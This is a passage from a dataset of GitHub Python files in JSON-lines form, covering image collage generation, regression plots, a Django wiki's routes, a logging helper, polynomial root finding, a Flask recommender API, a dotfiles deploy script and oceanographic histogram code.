_find_split_indices(len(seq), n_chunks)\n split_seq = [seq[i] for i in split_indices]\n\n return split_seq\n\ndef decode(values, counts):\n \"\"\"\n Decodes run-length encoding of given iterable.\n \n Parameters\n ----------\n values, counts: List of contiguous unique values, and list of counts\n \n Returns\n -------\n seq: Decoded sequence\n \"\"\"\n assert len(values) == len(counts), 'len(values) != len(counts)'\n \n try:\n counts = [int(i) for i in counts]\n except:\n raise ValueError('Counts contain non-integer values')\n \n seq = [[i] * j for i, j in zip(values, counts)]\n seq = _reduce(lambda x, y: x + y, seq)\n return seq\n \n ","repo_name":"tnwei/python-rle","sub_path":"rle/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5554,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"5"} +{"seq_id":"22367959054","text":"from PIL import Image, ImageDraw\nimport os\nimport math\nimport numpy as np\nimport random\n\n\ndef check_height(flags_list):\n h = flags_list[0].size[1]\n for f in flags_list[1:]:\n if h != f.size[1]:\n raise ImportError(\"Images of flags must all be the same height.\")\n\n\ndef place_flag(center, size):\n \"\"\"\n Returns four coordinates of the corners of the flag centered on center.\n They are in clockwise order starting by the top right-hand corner.\n :param center: center of the flag\n :param size: (width, height)\n :return:\n \"\"\"\n return [(center[0] + size[0]/2, center[1] + size[1]/2), (center[0] + size[0]/2, center[1] - size[1]/2),\n (center[0] - size[0]/2, center[1] - size[1]/2), (center[0] - size[0]/2, center[1] + size[1]/2)]\n\n\ndef is_point_in_circle(r, p):\n \"\"\"\n Tells if a point p is contained in the circle centered in (0, 0) of radius r\n :param r: radius\n :param p: point\n :return: boolean\n \"\"\"\n return r >= math.hypot(*p)\n\n\ndef generate_possible_positions(points, flagsize, debug=False):\n # Finding the envelope\n # points = envelope(points)\n # Finding the top and bottom points\n south = max([max([b[1] for b in c]) for c in points])\n north = min([min([b[1] for b in c]) for c in points])\n extremes = [(0, north - flagsize[1]/2), (0, south + flagsize[1]/2)]\n\n # Finding the other points\n # Finding vertical segments of each flag\n segments = []\n for p in points:\n segments.append([p[0], p[1]])\n segments.append([p[3], p[2]])\n\n # Finding their middle vertical point\n middle_points = []\n segments = [(a[0][0], (a[0][1] + a[1][1])/2) for a in segments]\n y_positions = sorted(list(set([a[1] for a in segments])), reverse=True)\n\n for y in y_positions:\n # Find point sharing that origin\n p = list(filter(lambda a: a[1] == y, segments))\n p.sort(key=lambda a: a[0])\n middle_points.append(p[0])\n middle_points.append(p[-1])\n\n # Displace middles according to flag width\n for j in range(len(middle_points)):\n sign = np.sign(middle_points[j][0])\n middle_points[j] = (middle_points[j][0] + sign*flagsize[0]/2, middle_points[j][1])\n\n # out = extremes + middle_points\n random.shuffle(middle_points)\n random.shuffle(extremes)\n return middle_points + extremes\n\n\ndef upper_left_corner(coord):\n x = min([a[0] for a in coord])\n y = min([a[1] for a in coord])\n return x, y\n\n\ndef make_flag_display(flags, filename, im_format, debug=False):\n flags = flags.copy()\n # Initiate output array\n output = []\n # Shuffle the flags\n random.shuffle(flags)\n # Making sure that they have all the same height\n check_height(flags)\n\n first_flag = flags[0]\n flags.pop(0)\n\n radius = math.hypot(first_flag.size[0]/2, first_flag.size[1]/2)\n coordinates = [place_flag((0, 0), first_flag.size)]\n output.append([first_flag, upper_left_corner(coordinates[0])])\n\n # Main loop\n while len(flags) > 0:\n i = 0\n while i < len(flags):\n for p in generate_possible_positions(coordinates, flags[i].size):\n potential_coord = place_flag(p, flags[i].size)\n is_possible = [is_point_in_circle(radius, pc) for pc in potential_coord]\n if False not in is_possible:\n coordinates.append(potential_coord)\n\n # print('COORDINATES AFTER ADDING THE FLAG: ', coordinates)\n output.append([flags[i], upper_left_corner(potential_coord)])\n flags.pop(i)\n i = 0\n\n if debug:\n img = Image.new('RGB', (int(radius)*2, int(radius)*2), color=0)\n for flag, position in output:\n img.paste(flag, (int(position[0]) + int(radius), int(position[1]) + int(radius)))\n\n draw = ImageDraw.Draw(img)\n pts_out = generate_possible_positions(coordinates, flags[i].size)\n pts_out = [(a[0] + int(radius), a[1] + int(radius)) for a in pts_out]\n for pts in pts_out:\n draw.ellipse((pts[0] - 10, pts[1] - 10, pts[0] + 10, pts[1] + 10), fill=(255, 0, 0), outline=(0, 0, 0))\n\n img.save(\"output_{}.png\".format(len(output)), \"PNG\")\n break\n i += 1\n radius += 50\n if debug:\n print(radius)\n\n # Displaying the flags\n radius = int(radius)\n img = Image.new('RGB', (radius*2, radius*2), color=0)\n for flag, position in output:\n img.paste(flag, (int(position[0]) + radius, int(position[1]) + radius))\n\n img.save(filename, im_format)\n\n\nif __name__ == \"__main__\":\n # Gathering the flag images\n folder = \"flags/\"\n paths = os.listdir(folder)\n flag_list = [Image.open(folder + p) for p in paths]\n for z in range(10):\n make_flag_display(flag_list, \"output_\" + str(z) + \".png\", \"PNG\")\n print(z)\n","repo_name":"MaloMn/flags-display","sub_path":"flag.py","file_name":"flag.py","file_ext":"py","file_size_in_byte":5029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"31937903150","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nimport sklearn.linear_model\nimport sklearn.feature_selection\nimport sklearn.preprocessing\n\n\n\n# Functions I've used to explore data\n\n\n\ndef plot_categorical_and_continuous_vars(x, y, df):\n '''\n This function accepts your dataframe and the name of the columns that hold \n the continuous and categorical features and outputs 3 different plots \n for visualizing a categorical variable and a continuous variable.\n '''\n \n # Title\n plt.suptitle(f'{x} by {y}')\n \n # Lineplot\n sns.lineplot(x, y, data=df)\n plt.xlabel(x)\n plt.ylabel(y)\n \n # Swarm Plot\n sns.catplot(x, y, data=df, kind='swarm', palette='Greens')\n plt.xlabel(x)\n plt.ylabel(y)\n \n # Box Plot\n sns.catplot(x, y, data=df, kind='box', palette='Blues')\n plt.xlabel(x)\n plt.ylabel(y)\n \n # Bar Plot\n sns.catplot(x, y, data=df, kind='bar', palette='Purples')\n plt.xlabel(x)\n plt.ylabel(y)\n \n # Scatter plot with regression line\n sns.lmplot(x, y, data=df)\n plt.xlabel(x)\n plt.ylabel(y)\n \n plt.show()\n\n\n\n# pairplot\n\ndef plot_variable_pairs(train, columns, hue=None):\n '''\n The function takes in a df and a list of columns from the df\n and displays a pair plot wid a regression line.\n '''\n \n kws = {'line_kws':{'color':'red'}, 'scatter_kws': {'alpha': 0.5}}\n sns.pairplot(train[columns], kind=\"reg\", plot_kws={'line_kws':{'color':'red'}, 'scatter_kws': {'alpha': 0.5}})\n plt.show()\n \n \n\n# One function to get SSE, MSE, and RMSE for both baseline and model\n\ndef regression_metrics(residual, baseline_residual, df):\n '''\n Function takes in the residuals from a regression model, the baseline regression, and the dataframe they are coming from,\n and produces an SSE, MSE, and RMSE for the model and baseline, print the results for easy comparison.\n '''\n \n # Get R^2 first\n #---------------------------\n # Model\n df['residual^2'] = df.residual**2\n # Baseline\n df['baseline_residual^2'] = df.baseline_residual**2\n \n \n # Square of Sum Errors (SSE)\n #----------------------------\n # Model\n SSE = df['residual^2'].sum()\n # Baseline\n Baseline_SSE = df['baseline_residual^2'].sum()\n\n \n # Mean Square Errors (MSE)\n #----------------------------\n # Model\n MSE = SSE/len(df)\n # Baseline\n Baseline_MSE = Baseline_SSE/len(df)\n \n \n # Root Mean Squared Error (RMSE)\n #-----------------------------\n # Model\n RMSE = sqrt(MSE)\n # Baseline\n Baseline_RMSE = sqrt(Baseline_MSE)\n\n print(f'SSE')\n print(f'-----------------------')\n print(f'Model SSE --> {SSE:.1f}')\n print(f'Baseline SSE --> {Baseline_SSE:.1f}')\n print(f'MSE')\n print(f'-----------------------')\n print(f'Model MSE --> {MSE:.1f}')\n print(f'Baseline MSE --> {Baseline_MSE:.1f}')\n print(f'RMSE')\n print(f'-----------------------')\n print(f'Model RMSE --> {RMSE:.1f}')\n print(f'Baseline RMSE --> {Baseline_RMSE:.1f}')\n\n \n \n \ndef rfe_feature_rankings(x_scaled, x, y, k):\n '''\n Takes in the predictors, the target, and the number of features to select,\n and it should return a database of the features ranked by importance\n '''\n \n # Make it\n lm = sklearn.linear_model.LinearRegression()\n rfe = sklearn.feature_selection.RFE(lm, n_features_to_select=k)\n\n # Fit it\n rfe.fit(x_scaled, y)\n \n var_ranks = rfe.ranking_\n var_names = x.columns.tolist()\n ranks = pd.DataFrame({'Var': var_names, 'Rank': var_ranks})\n ranks = ranks.sort_values(by=\"Rank\", ascending=True)\n return ranks\n \n# *Work in progress*\n\n\n","repo_name":"BraedenWright/regression-project","sub_path":"explore.py","file_name":"explore.py","file_ext":"py","file_size_in_byte":3721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"28579911593","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path(\"\", views.index, name=\"index\"),\n path(\"wiki/<str:title>\", views.article_view, name=\"article\"),\n path(\"search/\", views.search_view, name=\"search\"),\n path(\"newpage\", views.newpage_view, name=\"newpage\"),\n path(\"random\", views.random_view, name=\"random\"),\n path(\"editpage\", views.edit_view, name=\"editpage\")\n]\n","repo_name":"BrendanBarnard950/CS50","sub_path":"WebDev/Projects/Project1_WIKIPOODIA/encyclopedia/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"43005746752","text":"# sol 1 리스트 sum 슬라이싱\n# t = int(input())\n# sol = []\n# for i in range(t):\n# k = int(input()) # 층\n# n = int(input()) # 호\n# people = [] \n \n# base = [i for i in range(1,n+1)] # 0층\n# # print(base)\n# for floor in range(k) :\n# temp = []\n# for unit in range(n) :\n# temp.append(sum(base[:unit+1]))\n \n# base = temp.copy()\n# people.append(base)\n \n# sol.append(base[-1]) # 1부터 n 번째 번호 호출\n\n# for j in sol :\n# print(j)\n\n# sol2 이차원배열\n\nt = int(input())\nsol2 = []\n#base 2차원 리스트 생성\nbase = [[ 0 for j in range(15) ]for i in range(15)]\nfor i in range(15) :\n base[i][1] = 1\n base[0][i] = i\n\nfor h in range(1, 15) :\n for k in range(2, 15) :\n base[h][k] = base[h][k-1] +base[h-1][k]\n\nfor i in range(t) :\n k = int(input())\n n = int(input())\n\n result = base[k][n]\n sol2.append(result)\n\nfor s in sol2 :\n print(s)","repo_name":"NAMJEONGHYEOK/python_coding","sub_path":"baekjoon/일반 수학1/부녀회장이 될테야.py","file_name":"부녀회장이 될테야.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"14683861073","text":"\nfrom functools import wraps\nimport logging, os, time, sys \nfrom logging import DEBUG, INFO, WARN, ERROR\n\nfrom torch.utils.tensorboard import SummaryWriter \n\nlogging.basicConfig(\n stream=sys.stdout, \n format='[ %(levelname)s ] %(message)s',\n level=DEBUG)\n\nclass Logger:\n\n def __init__(self, log_dir, level=DEBUG, tensorboard=True):\n os.makedirs( log_dir, exist_ok=True )\n\n self.logger = logging.getLogger('log') \n self.logger.setLevel(level)\n handler = logging.FileHandler( \n os.path.join( log_dir, time.strftime('%Y%m%d-%H%M%S.log') ), \n mode='w',\n encoding='utf-8')\n handler.setFormatter( logging.Formatter('[ %(levelname)s, %(asctime)s ] %(message)s') ) \n self.logger.addHandler( handler )\n self.handler = handler\n\n if tensorboard:\n self.tbwriter = SummaryWriter(log_dir) \n\n def add_scalar(self, tag, value, step):\n self.tbwriter.add_scalar(tag, value, step) \n\n def info(self, *msg, **kwargs):\n self.logger.info( *msg, **kwargs ) \n\n def warn(self, *msg, **kwargs):\n self.logger.warn( *msg, **kwargs ) \n\n def error(self, *msg, **kwargs):\n self.logger.error( *msg, **kwargs ) \n\n def debug(self, *msg, **kwargs):\n self.logger.debug( *msg, **kwargs )\n\n def flush(self):\n self.tbwriter.flush() \n self.handler.flush()\n\n\n\n","repo_name":"zceng/LVCNet","sub_path":"vocoder/utils/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":1409,"program_lang":"python","lang":"en","doc_type":"code","stars":75,"dataset":"github-code","pt":"5"} +{"seq_id":"72246697431","text":"#!/usr/bin/python\n\nfrom __future__ import print_function\nimport os\nimport subprocess\nfrom sys import argv\n\n# files with this prefix are symlinked\ndeploy = (\n \".Xresources\",\n \".config\",\n \".emacs\",\n \".ghci\",\n \".gtkrc-2.0\",\n \".ideavimrc\",\n \".latexmkrc\",\n \".local\",\n \".mozilla\",\n \".mutt\",\n \".oh-my-zsh\",\n \".vim\",\n \".xinitrc\",\n \".zsh\",\n \"bin\",\n)\nif len(argv) > 1:\n deploy_custom = set(argv[1:])\n deploy = tuple(deploy_custom.intersection(deploy))\n if len(deploy) == 0:\n print(\"Nothing to deploy, goodbye.\")\n exit(0)\n print(\n \"Limiting deployment to files with paths starting with: %s\"\n % \"\".join(deploy)\n )\n\nHOMEDIR = os.path.expanduser(\"~\") + \"/\"\nDOTFILEDIR = os.getcwd() + \"/\"\n\nno_errors = True\n\n\ndef execute(cmd):\n global no_errors\n try:\n subprocess.check_call(cmd)\n except Exception as e:\n no_errors = False\n print(\":(\", e)\n\n\ndef getFFprofile():\n # Read FF's profiles.ini to find active FF profile\n # (used for deploying userChrome.css)\n global no_errors\n try:\n with open(HOMEDIR + \".mozilla/firefox/profiles.ini\", \"r\") as f:\n for line in f.read().splitlines():\n if len(line) > 1:\n if line[0] + line[-1] == \"[]\":\n pass\n elif \"=\" in line:\n key, value = line.split(\"=\")\n if key == \"Default\":\n default_profile = value\n break\n path = HOMEDIR + \".mozilla/firefox/\" + default_profile\n if os.path.exists(\n path + \"/extensions/treestyletab@piro.sakura.ne.jp.xpi\"\n ):\n return default_profile\n else:\n print(\":| TST not found, not deploying userChrome\")\n print(path + \"/extensions/treestyletab@piro.sakura.ne.jp.xpi\")\n return False\n except Exception as e:\n print(\":( (FF)\", e)\n no_errors = False\n return False\n\n\nfor root, dirs, files in os.walk(\".\", topdown=True):\n for name in files:\n file_name = os.path.join(root, name) # starts with ./\n file_short = file_name[2:] # ./ removed\n root_short = root[2:] # ./ removed\n\n do_deploy = True # assume file is to be symlinked\n\n if file_short.startswith(deploy): # in whitelist?\n\n if file_short.startswith(\".mozilla\"): # special FF target\n FFprofile = getFFprofile()\n if FFprofile:\n target = HOMEDIR + file_short.replace(\"profile\", FFprofile)\n root_short = root_short.replace(\"profile\", FFprofile)\n else:\n do_deploy = False\n else: # default target\n target = HOMEDIR + file_short\n\n if os.path.exists(target): # target file exists?\n if (\n os.path.realpath(target) == DOTFILEDIR + file_short\n ): # is already properly symlinked?\n do_deploy = False\n elif not os.path.exists(\n HOMEDIR + root_short\n ): # parent folder doesn't exist?\n execute([\"mkdir\", \"--parents\", HOMEDIR + root_short])\n\n if do_deploy:\n execute([\"ln\", \"-sr\", DOTFILEDIR + file_short, target])\n\nif no_errors:\n print(\":) Sucessfully deployed dotfiles!\")\nelse:\n print(\":/ Some things went wrong\")\n","repo_name":"jakobbbb/dotfiles","sub_path":"deploy.py","file_name":"deploy.py","file_ext":"py","file_size_in_byte":3468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"21613524345","text":"import json\n\nfrom datetime import datetime\nfrom typing import Dict, List, Union\n\n\ndef max_timestamp(timestamps: List[Union[datetime, None]]) -> Union[datetime, None]:\n \"\"\"\n Returns the maximum date from the given `timestamps`.\n \"\"\"\n valid_timestamps = [t for t in timestamps if t]\n\n if len(valid_timestamps) == 1:\n return valid_timestamps[0]\n\n if len(valid_timestamps) > 1:\n return max(valid_timestamps)\n\n return None\n\n\ndef to_dict(value: any) -> Union[Dict, any]:\n \"\"\"\n Converts value to Python dictionary (if possible).\n \"\"\"\n # When the incoming value is not string, return as it is.\n if not isinstance(value, str):\n return value\n\n # Otherwise, try parse it to a dictionary.\n # * Clean the string value\n cleaned_value = value.replace('False', '\"false\"')\\\n .replace('True', '\"true\"')\\\n .replace(\"'\", '\"')\\\n .replace(\"'\", \"\\'\")\\\n .replace('\"', '\\\"')\n\n # * Load cleaned string as JSON\n return json.loads(cleaned_value)\n","repo_name":"panjiyudasetya/thesis-data-converter","sub_path":"app/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"74046524311","text":"import pandas as pd\nimport seaborn as sns\nimport matplotlib\nimport matplotlib.pyplot as plt\n\n\n\nMIPS_order = ['DMSO (MIPS)', 'MIPS']\ncang_order = ['saline','cangrelor']#['Saline','Cangrelor','Bivalirudin']\nSQ_order = ['DMSO (SQ)', 'SQ']\npal_MIPS =dict(zip(MIPS_order, sns.color_palette('Blues')[2::3]))\npal_cang = dict(zip(cang_order, sns.color_palette('Oranges')[2::3]))\npal_SQ = dict(zip(SQ_order, sns.color_palette('Greens')[2::3]))\npal1={**pal_MIPS,**pal_cang,**pal_SQ}\n\n\n\ndef angle_plot(\n df: pd.DataFrame, \n variables, \n abs_treatement='MIPS', \n abs_control='DMSO (MIPS)', \n pcnt_treatments=('MIPS', 'SQ', 'cangrelor'), \n pcnt_controls=('DMSO (MIPS)', 'DMSO (SQ)', 'saline'), \n ):\n x = 'angle from midpoint (degrees)'\n df = df.sort_values(x).copy()\n #print(df[x].values[0], df[variables[0]].values[0])\n for v in variables:\n _add_rolled(v, df)\n df = pcnt_veh(variables, pcnt_treatments, pcnt_controls, df)\n pcnt_cols = [f'{var} (% vehicle)' for var in variables]\n # first row will be abs data for mips and dmso\n # second row will be percentage data\n fig, axs = plt.subplots(2, len(variables), subplot_kw={'projection' : 'polar'})\n for i, v in enumerate(variables):\n ax = axs[0, i]\n sdf = pd.concat([df[df['treatment'] == abs_control],\n df[df['treatment'] == abs_treatement]])\n #print(sdf[x].values[0], sdf[v].values[0])\n sns.lineplot(data=sdf, x='angle from midpoint (degrees)', y=v, ax=ax, \n hue='treatment', hue_order=(abs_control, abs_treatement), \n errorbar=(\"se\", 1), palette=pal1)\n _add_quadrant_lines(sdf, v, ax)\n ax.set_xlim(-90, 90)\n #print(v)\n for i, v in enumerate(pcnt_cols):\n ax = axs[1, i]\n dfs = [df[df['treatment'] == tx] for tx in pcnt_treatments]\n sdf = pd.concat(dfs)\n sns.lineplot(data=sdf, x='angle from midpoint (degrees)', y=v, ax=ax, \n hue='treatment', hue_order=pcnt_treatments, \n errorbar=(\"se\", 1), palette=pal1)\n ax.set_xlim(-90, 90)\n _add_quadrant_lines(sdf, v, ax)\n #print(v)\n sns.despine()\n fig.subplots_adjust(right=0.95, left=0.1, bottom=0.1, top=0.95, wspace=0.4, hspace=0.2)\n fig.set_size_inches(14, 5.5)\n plt.show()\n\n\ndef pcnt_veh(vars, treatments, controls, df):\n cols = [f'{var} (% vehicle)' for var in vars]\n for tx, ctl in zip(treatments, controls):\n ctl_df = df[df['treatment'] == ctl].copy()\n sdf = pd.concat([df[df['treatment'] == tx], ctl_df]).copy()\n for k, grp in sdf.groupby('angle from midpoint (degrees)'): \n idxs = grp.index.values\n for var, n in zip(vars, cols):\n if sdf[var].min() < 0:\n min_val = sdf[var].min()\n sdf[var] = sdf[var] - min_val\n ctl_df[var] = ctl_df[var] - min_val\n var_veh_mean = ctl_df[ctl_df['angle from midpoint (degrees)'] == k][var].mean()\n orig = grp[var].values\n #vals = orig / var_veh_mean * 100\n df.loc[idxs, n] = orig / var_veh_mean * 100\n return df\n\n\ndef _add_quadrant_lines(sdf, v, ax):\n v_min = sdf[v].mean() - sdf[v].sem()\n v_max = sdf[v].mean() + sdf[v].sem()\n if v_max == v_min:\n v_min = sdf[v].min()\n v_max = sdf[v].max()\n ax.axline((-45, v_min), (-45, v_max), color='grey', alpha=0.5, ls='--')\n ax.axline((45, v_min), (45, v_max), color='grey', alpha=0.5, ls='--')\n \n\n\ndef _add_rolled(col, df):\n for k, grp in df.groupby('path'):\n idxs = grp.index.values\n roll = grp[col].rolling(window=5,center=True).mean()\n df.loc[idxs, col] = roll\n\n\nvariables = ('platelet count', 'platelet density gain (um^-3)', \n 'platelet average density (um^-3)', 'frame average density (um^-3)',\n 'average platelet stability', 'recruitment', \n 'P(recruited < 15 s)', 'total sliding (um)', \n 'average platelet sliding (um)', 'average platelet contraction (um s^-1)', \n 'average contraction in frame (um s^-1)', 'average platelet corrected calcium',\n 'average frame corrected calcium', 'shedding', \n 'average platelet tracking time (s)', 'P(< 15s)')\n\n\nvars = ('recruitment (s^-1)', 'P(recruited < 15 s)', \n 'platelet density gain (um^-3)', 'average contraction in frame (um s^-1)',\n 'average platelet sliding (um)', 'average platelet stability')\n\nvars_list = [('platelet count', 'platelet density gain (um^-3)', \n 'platelet average density (um^-3)', 'frame average density (um^-3)',), \n ('average platelet stability', 'recruitment', \n 'P(recruited < 15 s)', 'total sliding (um)'),\n ('average platelet sliding (um)', 'average platelet contraction (um s^-1)', \n 'average contraction in frame (um s^-1)', 'average platelet corrected calcium'), \n ('average frame corrected calcium', 'shedding', \n 'average platelet tracking time (s)', 'P(< 15s)')]\n\nsave_path = '/Users/abigailmcgovern/Data/platelet-analysis/MIPS/Figure_3/230512_angle_25bin_outside_inj_data.csv'\n#save_path = '/Users/abigailmcgovern/Data/platelet-analysis/MIPS/Figure_3/230512_angle_40bin_f3f_outside_inj_data.csv'\ndf = pd.read_csv(save_path)\ndf = df[df['phase'] == 'consolidation']\n#for v in vars_list:\n # angle_plot(df, v)\ndf = df.rename(columns={'average platelet stability' : 'average platelet instability'})\nfor k, grp in df.groupby('treatment'):\n print(k)\n print(pd.unique(grp.path))\nvars = ('platelet count', 'platelet average density (um^-3)', 'average platelet instability')\nangle_plot(df, vars)\n\n","repo_name":"AbigailMcGovern/platelet-analysis","sub_path":"examples/MIPS-paper/Jan_June/angle_plots.py","file_name":"angle_plots.py","file_ext":"py","file_size_in_byte":5839,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"70643005911","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom tkinter import Tk\nfrom os import listdir as oslistdir\nfrom json import load as jsonload\n\nfl = oslistdir()\njson_file_list = []\nfor i in fl:\n if i.endswith(\".json\"):\n json_file_list.append(i)\nfor i in json_file_list:\n f_name = str(i.split(\".\")[0])\n json_dict_year = f_name.split(\"_\")[1]\n json_dict_quarter = f_name.split(\"_\")[2]\n print(\"\\n--- \" + f_name + \" ---\")\n with open(file=str(i), mode='r', encoding=\"utf-8\") as j_f:\n j_dict = jsonload(j_f)\n key_lists = []\n value_lists = []\n for key, value in j_dict.items():\n key_lists.append(key)\n value_lists.append(value)\n x_pos = np.arange(len(key_lists))\n y_pos = value_lists\n plt.rcdefaults()\n plt.bar(x_pos, y_pos, align='center', alpha=0.5)\n plt.xticks(x_pos, key_lists)\n plt_title = json_dict_year + \" \" + json_dict_quarter\n plt.title(plt_title)\n plt.ylabel('Number of goals')\n plt.xlabel('Tour event')\n for i, v in enumerate(y_pos):\n plt.text(x=i, y=v+1, s=str(v))\n plt_graph_filepath = \"statistics/\" + plt_title + \".jpg\"\n root = Tk()\n screen_width = root.winfo_screenwidth()\n screen_height = root.winfo_screenheight()\n root.destroy()\n figure = plt.gcf()\n figure.set_size_inches(screen_width/100, screen_height/100)\n plt.savefig(plt_graph_filepath, format='JPEG')\n # mng = plt.get_current_fig_manager()\n # mng.window.state(\"zoomed\")\n # plt.show()\n plt.clf()\n print(\"\\nGraph saved at\", plt_graph_filepath)\n\n","repo_name":"gokulmanohar/PES21-myCLUB-TOUR","sub_path":"internal/testing/Graph/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":1659,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"1665444770","text":"from xhistogram.xarray import histogram\nimport xarray\nimport os\nimport sys\nimport argparse, sys\n\nparser=argparse.ArgumentParser()\n\nparser.add_argument(\"--runnumber\", help=\"specifiy runnumber, e.g. 100\")\nparser.add_argument(\"--calibrationrun\", action='store_true', default=False,\n help=\"if calibrationrun, only output first few days\")\n\nargs=parser.parse_args()\nrunnumber = int(args.runnumber)\ncalibrationrun = args.calibrationrun\n\nif calibrationrun:\n print('running script with flag -calibrationrun=True')\n\nprint(f\"running script for runnumber {runnumber}\")\noutfile = f\"../data/output/opendrift_alternative_hourly_{runnumber}.nc\"\nbathy = xarray.open_dataset(\"../data/input/BAL-MFC_003_006_mask_bathy.nc\")\nbathy = bathy\ncoordinates = xarray.open_dataset(\"../data/input/BAL-MFC_003_006_coordinates.nc\")\ncoordinates = coordinates\ncoordinates['volumes'] = coordinates.e3t*coordinates.e2t*coordinates.e1t\nmask = bathy['mask'].values.astype(int)\ncoordinates['volumes'] = coordinates['volumes'].where(mask)\n\nlatbins = coordinates.latitude[:-1:]-(0.5*np.diff(coordinates.latitude))\nlatbins = np.append(latbins, coordinates.latitude[-2:].values+0.5*np.diff(coordinates.latitude)[-1])\nlonbins = coordinates.longitude[:-1:]-0.5*np.diff(coordinates.longitude)\nlonbins = np.append(lonbins, coordinates.longitude[-2:].values+0.5*np.diff(coordinates.longitude)[-1])\nzbins = coordinates.depth[:-1:]-0.5*np.diff(coordinates.depth)\nzbins = np.append(zbins, coordinates.depth[-2:].values+0.5*np.diff(coordinates.depth)[-1])\n\nprint(len(coordinates['depth']))\nprint(len(zbins))\n\ndsm = xarray.open_mfdataset(outfile, chunks=dict(time=24))\nprint('reading in outfile...')\nif calibrationrun:\n dsm = dsm.isel(time=slice(40,94,2), drop=True)\nelse:\n # the subsampling here is not strictly necessary, but prevents low-ram machines to\n # run out of memory...\n\tdsm = dsm.isel(time=slice(0,-1,24), drop=True)\n\nweights = dsm.mass\n\ncoordinates = coordinates.rename(latitude='lat_bin', longitude='lon_bin', depth='z_bin')\ncoordinates = coordinates.transpose('lon_bin', 'lat_bin', 'z_bin')\n\nh = histogram(dsm.lon, dsm.lat, -dsm.z, bins=[lonbins, latbins, zbins], dim=['trajectory'], weights=weights)\nh = h.to_dataset(name='mass') # [mol/l]\n\nprint('creating histogram...')\nh['mass_volatilized'] = histogram(dsm.lon, dsm.lat, -dsm.z, bins=[lonbins, latbins, zbins], dim=['trajectory'], weights=dsm.mass_volatilized)#*1e-6/(16.04*1e3))\nh['mass_zsum'] = h.mass.sum(dim='z_bin')\nh['mass_volatilized_zsum'] = h.mass_volatilized.sum(dim='z_bin')\n\nprint('writing netcdf')\nif calibrationrun:\n h.to_netcdf(f'../data/output/{runnumber}_histogram_calibration.nc')\nelse:\n h.to_netcdf(f'../data/output/{runnumber}_histogram.nc',)\n","repo_name":"MartinMohrmann/Mohrmann_et_al_NS_methane_baltic","sub_path":"create_histogram.py","file_name":"create_histogram.py","file_ext":"py","file_size_in_byte":2700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"34857801218","text":"import numpy as np\n\n\ndef isclose(a, b, rel_tol=1e-07, abs_tol=0.0):\n return abs(a-b) <= max(rel_tol * max(abs(a), abs(b)), abs_tol)\n\n\ndef contains_isClose(roots, value):\n for r in roots:\n if isclose(r, value):\n return True\n return False\n\n\ndef horner(a, x):\n d = a[0]\n for a_i in a[1:]:\n d = a_i + d*x\n\n return d\n\n\ndef compute_c(a, x):\n a_d1 = np.polyder(a)\n a_d2 = np.polyder(a, 2)\n\n return ((horner(a, x)**2) * horner(a_d2, x))/(horner(a_d1, x)**3)\n\n\ndef olver(a, value, eps=1e-10):\n x = value\n k = 0\n delta = eps\n\n a_d1 = np.polyder(a)\n\n max_val = pow(10, 8)\n k_max = 1000\n\n while eps <= delta <= max_val and k < k_max:\n temp = x - (horner(a, x) / horner(a_d1, x)) - 0.5*compute_c(a, x)\n delta = abs(temp - x)\n x = temp\n k += 1\n\n return x\n\nif __name__ == '__main__':\n a = [1.0, -6.0, 11.0, -6.0]\n R = (abs(a[0]) + max([abs(a[i]) for i in range(1, len(a))]))/abs(a[0])\n\n step = 0.01\n poly_roots = []\n\n value = -R\n while value < R:\n temp = olver(a, value)\n if not contains_isClose(poly_roots, temp):\n poly_roots.append(temp)\n value += step\n\n with open(\"results.txt\", \"w+\") as file:\n for value in poly_roots:\n file.write(str(value) + \"\\n\")\n\n print(poly_roots)\n\n\n\n\n","repo_name":"IonitaCatalin/numeric-calculus","sub_path":"HW7/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"43831931831","text":"from flask import Flask, jsonify, request\nimport requests\nimport urllib\nfrom predict import get_similar_list\napp = Flask(__name__)\n\n@app.route('/')\ndef welcome():\n return jsonify({\"Name\":'Welcome to Frisbee API! Use /predict to get predictions'})\n\n@app.route('/predict/', methods=['GET', 'POST'])\ndef predict():\n url = request.args.get('url')\n url = url.replace(\"()\",\"%\")\n urllib.request.urlretrieve(url,'test.jpg')\n res_list = get_similar_list('test.jpg')\n return jsonify({\"recommendation\": res_list})\n\nif __name__ == '__main__':\n app.run(host=\"192.168.1.9\", port = 8000, debug=True)\n","repo_name":"Piyush-Kumar-Behera/fashion_recommender","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"74896757839","text":"import os\nimport sys\nimport json\nimport logging\nimport requests\nfrom typing import NamedTuple\n\nlogging.basicConfig(format=\"%(asctime)s - %(message)s\", stream=sys.stderr)\n\nOUTPUT_FOLDER = \"./output\"\nOUTPUT_FOOD_FOLDER = 